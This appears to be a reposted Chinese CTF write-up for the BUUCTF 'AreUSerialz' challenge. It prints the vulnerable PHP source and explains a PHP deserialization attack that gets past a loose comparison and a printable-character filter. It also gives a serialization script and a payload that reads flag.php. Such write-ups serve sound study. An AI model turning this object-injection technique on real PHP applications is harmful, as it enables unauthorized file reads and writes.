其他分享
首页 > 其他分享> > Web之buuctf-[网鼎杯 2020 青龙组]AreUSerialz

Web之buuctf-[网鼎杯 2020 青龙组]AreUSerialz

作者:互联网

源码分析

<?
phpinclude("flag.php");
highlight_file(__FILE__);
class FileHandler   #一个类
{  
    protected $op;   #类里面的三个受保护变量
    protected $filename;  
    protected $content;  
    
    
    function __construct()       #给三个变量赋值,并调用process()公有函数,构造函数?
    {    
        $op = "1";        
        $filename = "/tmp/tmpfile";         
        $content = "Hello World!";        
        $this->process();       
    } 
    
    
    public function process()     #根据变量op的值选择分支执行
    {    
        if($this->op == "1")       #若op弱等于"1",则执行write()私有函数   
        {                   
            $this->write();             
        }           
        else if($this->op == "2")    #若op弱等于"2",则执行read()私有函数,同时将返回值赋给res变量,并以其为参数调用output()私有函数   
        {                   
            $res = $this->read();                  
            $this->output($res);             
        }          
        else     #其余情况     
        {                  
            $this->output("Bad Hacker!");           
        }      
    }  
    
    
    private function write()     
    {          
        if(isset($this->filename) && isset($this->content)) #二者不为空       
        {                
            if(strlen((string)$this->content) > 100)     #content变量长度大于100     
            {                      
                $this->output("Too long!");                      
                die();                
            }                
            $res = file_put_contents($this->filename, $this->content); # 将content变量的值写入filename所代表的文件中去,并将返回的字节数赋给res变量           
            if($res)      #若res不为0         
                $this->output("Successful!");                
            else 
                $this->output("Failed!");          
        }       
        else       
        {                
            $this->output("Failed!");          
        }    
    }   
    
    
    private function read()  
    {         
        $res = "";         
        if(isset($this->filename))   
        {              
            $res = file_get_contents($this->filename); #从文件中读取一个字符串,并赋给res变量        
        }        
        return $res;  
    }  
    
    
    private function output($s)  
    {         
        echo "[Result]: <br>";
        echo $s;   
    }   
    
    
    function __destruct()  
    {         
        if($this->op === "2")               
            $this->op = "1";         
        $this->content = "";        
        $this->process();   
    }
}


function is_valid($s) #判断传入的参数的ASCII码是属于[32,125]
{  
    for($i = 0; $i < strlen($s); $i++)    
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))      
            return false;  
    return true;
}
if(isset($_GET{'str'}))  #get方式传入str参数
{  
    $str = (string)$_GET['str'];  
    if(is_valid($str))   #调用is_valid()函数,判断传入的参数的ASCII码是属于[32,125]
    {    
        $obj = unserialize($str);  #对str参数反序列化
    }
} 

主要两个点:
1.op==“2” 弱等于绕过
2.is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
注:这个是看师傅们的wp才知道的,我只是分析了源码,知道是个php反序列化,还有那个弱等于,看了wp才知道后面该怎么做的。

绕过:
1.在序列化时直接令op=2即可
2.师傅的wp里有两种方法,这里取第一种,即:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。

所以序列化脚本为:

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "hahah";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>

结果:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"hahah";}

最后再以get方式传递str参数即可,flag藏在源码里:
在这里插入图片描述

学习文章

网鼎杯2020[青龙组]–AreUSerialz

标签:Web,buuctf,AreUSerialz,res,filename,content,str,output,op
来源: https://blog.csdn.net/qq_43682582/article/details/115287823